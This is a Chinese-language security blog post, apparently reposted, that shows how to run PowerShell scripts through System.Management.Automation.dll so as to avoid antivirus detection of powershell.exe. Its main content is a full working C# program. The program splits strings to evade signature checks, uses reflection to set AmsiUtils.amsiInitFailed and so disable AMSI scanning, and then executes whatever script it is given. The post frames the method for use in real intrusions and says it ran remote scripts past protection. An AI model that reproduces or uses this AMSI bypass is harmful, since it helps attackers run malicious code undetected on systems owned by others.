None Powershell execute PSCommand

admin 2022年12月20日10:35:29评论26 views字数 1853阅读6分10秒阅读模式
由于杀软对于powershell看管的很严格,实战中想执行ps脚本需要另辟蹊径。
之前将ps命令混淆成这样都被某60拦截,可见已经不是基于正则拦截了。

System.Management.Automation.dll

参考官方链接:
  • https://learn.microsoft.com/en-us/dotnet/api/System.Management.Automation.PowerShell?view=powershellsdk-7.2.0
DLL位于
C:WindowsMicrosoft.NETassemblyGAC_MSILSystem.Management.Automationv4.0_3.0.0.0__31bf3856ad364e35System.Management.Automation.dll
System.Management.Automation.dll是微软提供的一个dll,提供一个简单的接口来执行 powershell 命令:
Powershell.Create().AddScript("get-process").Invoke();
None Powershell execute PSCommand
Powershell.exe 实际上是通过System.Management.Automation.dll去完成相关功能的调用,因此在实际渗透过程当中,可以不通过Powershell.exe去执行Powershell脚本。以此来绕过杀软防护。
1.创建Runspace
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
2.定义PipeLine
Pipeline MyPipeline = MyRunspace.CreatePipeline();
3.添加脚本
MyPipeline.Commands.AddScript(script);
4.运行
Collection outputs = MyPipeline.Invoke();
Demo
using System;using System.Collections.ObjectModel;using System.Management.Automation;using System.Management.Automation.Runspaces;using System.Reflection;using System.Text;using System.IO;
namespace Test{ class Program { static void Main(string[] args) { String RunResult = RunScript(args[0]); Console.WriteLine(RunResult);
string RunScript(string script) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); MyRunspace.GetType().Assembly.GetType("Syste" + "m.Managem" + "ent.Autom" + "ation.AmsiU" + "tils").GetField("am" + "siInitF" + "ailed", BindingFlags.NonPublic | BindingFlags.Static).SetValue(null, true); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); } } }}
测试截图:
用powershell执行会弹框并拦截,
None Powershell execute PSCommand
使用NonePS.exe正常执行远程ps脚本
None Powershell execute PSCommand
缺点:
在于自己编译的程序少了powershell拥有的微软签名
如果目标机器不存在DLL,还得上传DLL。

原文始发于微信公众号(仙友道):None Powershell execute PSCommand

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月20日10:35:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   None Powershell execute PSCommandhttps://cn-sec.com/archives/1473497.html

发表评论

匿名网友 填写信息